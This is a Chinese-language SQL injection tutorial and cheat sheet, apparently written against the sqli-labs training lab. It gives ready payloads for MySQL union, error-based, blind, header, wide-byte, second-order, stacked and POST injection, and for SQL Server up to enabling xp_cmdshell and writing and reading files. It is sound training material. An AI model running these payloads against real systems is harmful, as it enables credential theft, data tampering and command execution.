MySQL

联合注入
  • 通过union关键字,将恶意代码带入数据库执行
步骤

判断注入点

http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=1
and两边都为真,回显正常,有数据
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 and 1=2
and一边为真一边为假,回显异常,无数据

构造闭合(字符型)

①在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s
//判断是否为字符型

②在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s        //结果返回正常

③在URL链接中附加字符串' -- s即
http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s        //结果返回异常
则通过①②③判断出为字符型

常用构造闭合符号:
单引号' 双引号" 单引号+括号') 双引号+括号")

常用注释符号:
--空格(经常会在其后面加上一个任意字母区分括号eg:-- s)

判断字段数量

order by:排序
注意:如果是数字型注入,也有必要加上注释 # 或者 --空格,因为,在数据传递的时候,不知道
order by后面是否跟了其他语句
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by 3
判断字段数量,返回正常,说明至少存在3个字段
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 order by n
返回异常,说明不存在n列

union联合查询,判断回显点

http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=1 union select 1,2,3

爆数据

user()   database()   version()
http://xxx.xxx.xxx.xxx/Pass-01/index.php?id=-1
#-1是让前面的代码失效(不占回显位) 好执行后面我们想要执行的爆库语句()
union select 1,user(),database()

爆所有库名

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,user(),group_concat(schema_name)
 from information_schema.schemata

爆security库名中的所有表名

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(TABLE_NAME)
 from information_schema.TABLES WHERE TABLE_SCHEMA=database();

爆security库名中users表中的所有字段

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,2, group_concat(column_name)
 from information_schema.columns
 WHERE TABLE_SCHEMA=database() and table_name="users"

爆users表中的用户,密码

http://xxx.xxx.xxx.xxx/Pass-01/index.php
?id=-1 union select 1,group_concat(username), group_concat(password)
from users
报错注入
  • 后台没有对数据库报错信息进行处理,将错误信息返回给前台
  • 通过报错函数构造payload,通过报错信息返回查询的信息
  • 相关函数
    • extractvalue
    • updatexml
    • floor
步骤

判断是否可以注入

123') or 1=1 -- s //返回正常,登录成功
123') or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入

报错方法获取数据库

123') or  extractvalue('1',concat("~~",(database()))) -- s

报错方法获取表

123') or  extractvalue('1',concat("~~",(select group_concat(table_name) 
from information_schema.tables where table_schema=database()))) -- s

报错方法获取字段

123') or  extractvalue('1',concat("~~",(select group_concat(column_name) 
from information_schema.columns where 
table_schema=database() and table_name="users"))) -- s

报错方法获取数据

123') or  extractvalue('1',concat("~~",(select group_concat(username) 
from users))) -- s
盲注
  • 通过观察应用程序的响应或者延迟来判断数据库信息是否正确
  • 二分法
  • 可以通过DNSlog外带
  • 相关函数
    • 布尔
      • 通过长度判断length():length(database())>=x
      • 通过字符判断substr():substr(database(),1,1) ='s'
      • 通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x
    • 时间
      • left(m,n) --从左向右截取字符串m返回其前n位
      • substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串
      • ascii(m) --返回字符m的ASCII码
      • if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3
      • sleep(m)--使程序暂停m秒
      • length(m) --返回字符串m的长度
      • count(column_name) --返回指定列的值的数目
步骤

布尔盲注

  1. 首先判断注入点,既不能联合也不能报错
  2. 尝试布尔盲注,首先判断当前数据库长度
二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and 
length(database())>10 -- s    //返回false  0-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and 
length(database())>5 -- s     //返回true   5-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and 
length(database())>7 -- s     //返回true   7-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and 
length(database())>8 -- s //返回false

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/?id=1' and 
length(database())=8 -- s //返回true 确定长度为8
  1. 判断库名具体字符
判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),1,1))=115 -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr(database(),2,1))=115 -- e 
... ...
直到判断库名为8个字符的security
  1. 判断表长度(方法同上 二分法)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select table_name from 
information_schema.tables 
where table_schema=database() limit 0,1))=6 -- s  (例子:emails)

#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表

... ...依此类推
  1. 判断表名具体字符(方法同上 二分法 判断ascii码)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from 
information_schema.tables where 
table_schema=database() limit 0,1),1,1))=101 -- s  #(e)
                               || ||
                           第1个表 ||
                                 第一个字符

http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ascii(substr((select table_name from 
information_schema.tables where 
table_schema=database() limit 0,1),2,1))=101 -- s  #(m)

...  ...
直到找到所有表以及表名   或者想要的用户表
  1. 找到想要的表以及字段(方法同上)后,获取内容
users表为例  字段为username  数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and length((select username from users limit 0,1))=4 -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...

#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-8/
?id=1' and ASCII(substr((select username from 
users limit 0,1),1,1))=68 -- s
                ||
              第一个字符=68  =》D
... ...
依此类推 第一条数据为  Dumb
直到判断出username字段所有数据

时间盲注

  1. 首先判断注入点,既不能联合也不能报错,且没有内容变化
  2. 尝试时间盲注,首先判断当前数据库长度
二分法判断长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and 
if((length(database())>10),sleep(2),1) -- s    //直接返回  0-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and 
if((length(database())>5),sleep(2),1) -- s     //延时2秒   5-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and 
if((length(database())>7),sleep(2),1) -- s     //延时2秒   7-10

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and 
if((length(database())>8),sleep(2),1) -- s //直接返回

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/?id=1' and 
if((length(database())=8),sleep(2),1) -- s //延时2秒 确定长度为8
  1. 判断库名具体字符
判断第1个字符(二分法,依次判断ascii码(33-127)) 方法与步骤2一致
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(2),1) -- s
判断第2个字符
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr(database(),2,1))=115),sleep(2),1) -- e 
... ...
直到判断库名为8个字符的security
  1. 判断表长度(方法同上 二分法)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select table_name from 
information_schema.tables 
where table_schema=database() limit 0,1))=6),sleep(2),1) -- s  (例子:emails)

#limit 0,1 限制此时判断的为第1个表
#limit 1,1 限制此时判断的为第2个表

... ...依此类推
  1. 判断表名具体字符(方法同上 二分法 判断ascii码)
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from 
information_schema.tables where 
table_schema=database() limit 0,1),1,1))=101),sleep(2),1) -- s  #(e)
                                || ||
                            第1个表 ||
                                  第1个字符

http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ascii(substr((select table_name from 
information_schema.tables where 
table_schema=database() limit 0,1),2,1))=101),sleep(2),1) -- s  #(m)

...  ...
直到找到所有表以及表名   或者想要的用户表
  1. 找到想要的表以及字段(方法同上)后,获取内容
users表为例  字段为username  数据为Dumb
#判断数据长度
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((length((select username 
from users limit 0,1))=4),sleep(2),1) -- s
#limit 0,1 表示第1条数据
#limit 1,1 表示第2条数据
... ...

#判断内容
http://xxx.xxx.xxx.xxx/sqli-labs/Less-9/
?id=1' and if((ASCII(substr((select username from 
users limit 0,1),1,1))=68),sleep(2),1) -- s
             ||
            第一个字符=68  =》D
... ...
依此类推 第一条数据为  Dumb
直到判断出username字段所有数据
header注入
  • 注入点
    • UA
    • REFEDER
    • X-FORWORDED-FOR
    • COOKIE
  • 方式
    • 联合
    • 报错
    • 盲注

注意

  • 进行head注入时,应该知道其中的一个账号密码(可用暴力破解),之后再修改UA头
  • 除了UA头还有referer头,IP头
    • IP头:HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR、HTTP_X_FORWARDED、HTTP_FORWARDED_FOR、HTTP_FORWARDED
步骤

以UA头为例

修改UA头报错

User-Agent: 1'

You have an error in your SQL syntax; check the manual that corresponds 
to your MySQL server version for the right syntax to use 
near '127.0.0.1', 'admin')' at line 1


insert into 表名(字段,字段,字段) values( 值 ,      值 ,           值 )
                                ||        ||             ||
                                UA        ip           admin
                                ||        ||             ||
insert into 表名(字段,字段,字段) values( 值 ,    '127.0.0.1',   'admin')
                                ||
                                1'

构造SQL语句字段
User-Agent: 123','1','123') #
...    ...   ...            values('123','1','123') #,'127.0.0.1','admin')
#重点:构造字段(先要判断有几个字段,字段中含有我们想要的SQL语句,位置在哪个字段都可)
#后面注释掉了原有的 2个字段 ip admin
#所以前面要构造闭合加上 )

爆数据库以及其他操作

User-Agent: 123','1'and Extractvalue
('1',concat("~~",database(),"~~")),'123') #

User-Agent: 123','1','123'and Extractvalue
('1',concat("~~",database(),"~~"))) #

User-Agent: 123'and Extractvalue
('1',concat("~~",database(),"~~")),'1','123') #
宽字节注入
  • mysql默认使用GBK编码,会认为2个字符是一个汉字
    • 前一个字符ASCII码要大于128,才会得到汉字范围
  • php对参数使用函数addslashes做了限制,使用\将引号转义

流程

(1) ?id=1' and 1=1 #
    这是正常的语句,我们使用SQL语句看一下
    select * from user where id='1' and 1=1 #'     //可以成功闭合

    当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符“\"
    在sql中的语句是:
    select * from user where id='1\' and 1=1 #'
# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号被转义了,没有闭合

(2) 当我们代入了 %df 时,在数据库中就变成了
    ①select * from user where id='1%df\' and 1=1 #'
    ②select * from user where id='1%df%5c' and 1=1 #'
    ③select * from user where id='1運' and 1=1 #'
* 这时,转义函数,还会对我们输入的单引号进行转义,转义成  `\'`
而GBK编码下,反斜杠`\`的十六进制表示是`5C`。
因此,当你传入的参数为`%df\'`,经过GBK编码处理后,`\`会被编码成`%5C`
* 所以传入数据库中的参数变成了`%df%5C'`
* 数据库对sql语句进行GBK编码后,会将`%df%5c`结合到一起组成  `運`
从而通过`%df`吃掉了反斜杠`\` 从而闭合掉了后面的引号,查询成功
步骤
  • 闭合语句
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df'  -- s
  • 判断注入点
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=1 -- s
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' and 1=2 -- s
  • 判断字段
http://xxx.xxx.xxx.xxx/Less-32/?id=1%df' order by 3 -- s
  • 尝试联合查询,定位回显点
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union select 1,2,3 -- s
  • 爆出当前用户
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,user(),database() -- s
  • 查找所有的库名
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,2,group_concat(schema_name) from 
information_schema.schemata -- s
  • 查找所有表名
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,2,group_concat(table_name) from 
information_schema.tables where table_schema=database() -- s
  • 查找所有字段名
过滤了双引号,会报错

http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' unio
n select 1,2,group_concat(column_name) fro
m information_schema.columns where table_schema=database() an
d table_name="users" -- s

方法:
①表名转16进制
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,2,group_concat(column_name) from 
information_schema.columns where 
table_schema=database() and table_name=0x7573657273 -- s
②子查询
http://xxx.xxx.xxx.xxx/Less-32/?id=-1%df' union 
select 1,2,group_concat(column_name) from 
information_schema.columns where 
table_schema=database() and 
table_name=(select table_name from information_schema.tables where 
table_schema=database() limit 3,1) -- s
二次注入
  • 恶意数据写入数据库后,去调用存在问题的数据,造成恶意代码执行
  • 利用
    • 获取数据
    • 绕过验证(POST型-登录)
    • 提权
    • DOS攻击
      • SQL注入执行高效率查询语句消耗服务器资源
步骤

第一次插入恶意代码值:

插入的值:admin' -- s
经过后端过滤之后变成:admin\' -- s
存储到数据库的时候,数据库把反斜杠给去掉了,这时候就变成原来的值:admin' -- s

第二次执行的操作,调用了第一次插入的值admin' -- s

update users set password='admin' where username='admin' -- s'
实际上修改的是账号:admin (后面的 -- s'为注释,不起作用)

select * from users where username='admin' -- s'
delete from users where username='admin' -- s'

注意

可能在网站开发时,会对用户输入的数据进行去空格处理,此时使用注释 --空格 可能会存在问题
因此可用 # 进行构造
堆叠注入
  • 由于;,使得多条sql语句能够一起执行,在;后面构造恶意代码
  • 防御:mysqli_ query函数 限制查询条数
步骤

堆叠注入SQL语句:

select * from users where id='1';
select if(length(database())>5,sleep(5),1)%23;

Payload=

1';select if(length(database())>5,sleep(5),1)%23

Payload=

1';select if(substr(user(),1,1)='r',sleep(3),1)%23

payload=

1';insert into users(id,username,password) value (666,'zgao','zgao') --+

payload=

1';update users set password = '12345678' where username='admin' -- s

如此句:从堆叠注入语句中可以看出,第二条SQL语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23就是时间盲注的语句。

堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句

POST注入
  • post注入思路和get显错位注入思路一致
  • 只是请求的方法从get变为了post

一般的基本思路如下,以登录框为注入点为例(密码随便输入):

tips:

万能密码:
xxx' or 1=1 #

1.已知一个用户
  • eg:admin
  • 使用连接符and

判断是否可以注入

admin' and 1=1 -- s        //返回正常,登录成功
admin' and 1=2 -- s        //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入

#闭合符号'需要进行判断确定

判断字段数 =》 order by

admin' order by 3

判断回显位置 =》 union

1231' union select 1,2,3 -- s

得到数据库名字 =》 database()

1231' union select 1,database(),user() -- s

得到表名 =》 information_schema.tables

1231' union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema=database() -- s

得到字段名 =》 information_schema.columns

1231' union select 1,2,group_concat(column_name) 
from information_schema.columns where table_schema=database() 
and table_name="users" -- s

获取数据

1231' union select 1,2,group_concat(username) from users
2.不知道用户名
  • 使用连接符or
  • 结合报错注入(通常在没有回显时使用)

判断是否可以注入

123' or 1=1 -- s //返回正常,登录成功
123' or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入

报错方法获取数据库

123' or  extractvalue('1',concat("~~",(database()))) -- s

报错方法获取表

123' or  extractvalue('1',concat("~~",(select group_concat(table_name) 
from information_schema.tables where table_schema=database()))) -- s

报错方法获取字段

123' or  extractvalue('1',concat("~~",(select group_concat(column_name) 
from information_schema.columns where 
table_schema=database() and table_name="users"))) -- s

报错方法获取数据

123' or  extractvalue('1',concat("~~",(select group_concat(username) 
from users))) -- s

ps:如果数据过多无法完全显示,可以使用substr,limit等函数进行输出限制

防御
  • 对用户输入进行严格过滤
  • 使用waf
  • 定期审查更新代码,识别修复SQL注入漏洞点

Sqlserver

常识
  • mssql系统自带数据库: master
  • 每个库都有一个系统自带表(系统对象表):sysobjects
  • sysobjects三个字段:NAME XTYPE ID
where xtype='x' and name='xp_cmdshel'  #以x开头  名称为xp_cmdshel
* S:系统表
  * U:用户创建表\*\*(注意为大写)\*\*
  * **小写为过滤条件**
  • id:连接syscolumns表 (相对于存储的字段信息)
    • name:表名信息
    • xtype:表的常见类型
  • syscolumns表:保存当前数据库中的所有列名 (通过name关键字来表示,此时的name不是表名信息的name)
#查找users表中的第一个字段
select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
  • top关键字:输出限制,相当于MySQL中的limit
    • 用法:top + 数字
  • stuff替换字符串
STUFF (字符表达式, 开始位置, 长度, 替换字符串表达式)  # 包含开始位置
# 字符表达式:你想要修改的字符串表达式。
# 开始位置:你想要开始替换字符的字符串内起始位置。
# 长度:要替换的字符数。
# 替换字符串表达式:将替换开始位置和长度参数指定的字符的新字符串。

#例:
SELECT STUFF('Hello World', 7, 5, 'Universe')

这个查询会返回 "Hello Universe"。原始字符串是 "Hello World",它会从第七个位置开始('W'的位置),删除长度为5的子串('World'),然后用 "Universe" 替换它。
  • 常用参数
select @@version       --查询数据库的版本
select host_name()     --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name()       --查询当前数据库名
select db_name(1)      --查询第一个数据库名
select db_name(2)      --查询第二个数据库名,前6个数据库为默认库
select user            --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner

注释符   --
  • **is_srvrolemember('server_role')**查询数据库权限 正确返回1
    • server_role
      • sysadmin 系统管理员
      • serveradmin 服务器管理员
      • setupadmin 安装程序管理员
      • securityadmin 安全管理员
      • processadmin 进程管理员
      • diskadmin 磁盘管理员
      • dbcreator 数据库创建者
      • bulkadmin 大容量插入创建者
      • public默认的、预定义的角色,sqlserver实例中每个登录用户的默认角色
  • **is_member('database_role')**查询数据库角色 正确返回1
    • database_role
      • db_owner****数据库所有者
      • db_ddladmin****数据库DDL管理员(创建、修改、删除表)
      • db_accessadmin 数据库访问管理员。具有管理数据库用户访问权限的权限。
      • db_securityadmin 数据库安全管理员。具有管理数据库角色、权限和访问控制列表的权限。
      • db_backupoperator 数据库备份操作员。具有备份数据库的权限。
      • db_datareader 数据库数据读取者。具有读取数据库中所有表和视图的权限。
      • db_datawriter 数据库数据写入者。具有向数据库中所有表写入数据的权限。
      • db_denydatareader 拒绝数据库数据读取者
      • db_denydatawriter 拒绝数据库数据写入者
  • 盲注函数
    • len() 判断长度
    • substring() 截取字符串
    • ascii() 返回字符ASCII码
    • waitfor delay '时:分:秒' 延时
联合注入
#判断是否存在注入点
mssql.php?id=1 and 1=1 --

#判断是否为mssql数据库
mssql.php?id=1 and exists(select * from sysobjects) --

#判断字段长度
mssql.php?id=1 order by 3 --   #正常
mssql.php?id=1 order by 4 --   #报错

#判断回显位
mssql.php?id=-1 union select 11,22,33 --

#爆数据库名,版本信息
mssql.php?id=-1 union select 11,db_name(),@@version --

#爆表名(假设库名为kaiwen)
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' --   #所有表名

#模糊查表
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' and name LIKE '%users%' -- #模糊查询含有‘users’的表


#爆列(字段)名(假设表名为user)
mssql.php?id=-1 union select 11,db_name(),col_name(object_id('users'),1) from sysobjects  --    #其中1代表 user表中的第1列
... ...

#爆数据(假设字段为username、password)
mssql.php?id=-1 union select 11,db_name(),username from users
mssql.php?id=-1 union select 11,db_name(),password from users
  • 嵌套语句
#查库
-- 查询前1条数据
select top 1 name from master..sysdatabases

-- 查询前2条数据
select top 2 name from master..sysdatabases

-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)

#查表
#方式一:
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects)  #第二个表

#方式二:
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’)) #查 不是users表的下一个表
报错注入
函数
convert() 
file_name() 
db_name() 
col_name() 
filegroup_name()
object_name() 
schema_name() 
type_name() 
cast()

convert()函数

#查询基本信息
convert(int,@@version)     获取版本信息 
convert(int,db_name())     数据库名字 
convert(int,user)      当前⽤户名 
convert(int,@@SERVERNAME)  获取有关服务器主机的信息

#当前数据库
?id=2 and 1=convert(int,db_name()) --
--或者
?id=convert(int,db_name()) --
 
--或者
?id=1 and 1=convert(int,db_name(0)) --   --查询当前数据库
?id=1 and 1=convert(int,db_name(1)) --   --查询第二个数据库,以此类推

#查表名(用户创建的)
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype = 'U')) --

#查列名
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.syscolumns where id = object_id(‘users’))) --

#爆数据
?id=1 and 1=convert(int,(select top 1 username+password from users )) --
盲注
#布尔盲注
#判断是否存在盲注
and 1=1--     --正常显示
and 1=2--     --不正常

#猜测数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 --   --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 --   --数据库名长度为4个字符,页面正常显示

#获取库名
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
-- 查询数据库名第一个字符的ascii码为78,对应字母N

#时间盲注
#判断是否存在注入点
?id=2 WAITFOR DELAY '0:0:5' --
#猜测库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
#猜测库名
?id=2  if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s
进阶

多语句注入

原SQL语句后拼接分号;进行闭合原语句,之后再拼接其它类型的SQL语句。

1'; exec xp_cmdshell 'whoami > c:\temp.txt' --

判断库站分离

- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端

-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))

判断XP_CMDSHELL是否开启

- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭

-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
#以x开头  名称为xp_cmdshel

-- 若不开启,可以在Web端通过多语句注入进行开启
1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --

写入文件

- 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'

读取文件

- 创建临时表,将文件写入该表,然后查询,最后删除

create table temp(res varchar(8000)); # 创建表temp
bulk insert master.dbo.temp from 'C:/temp.txt'; 
#bulk inser 添加操作  通常用于处理大量数据
#master.dbo.temp  master库中的dbo.temp表
select * from master.dbo.temp
drop table temp;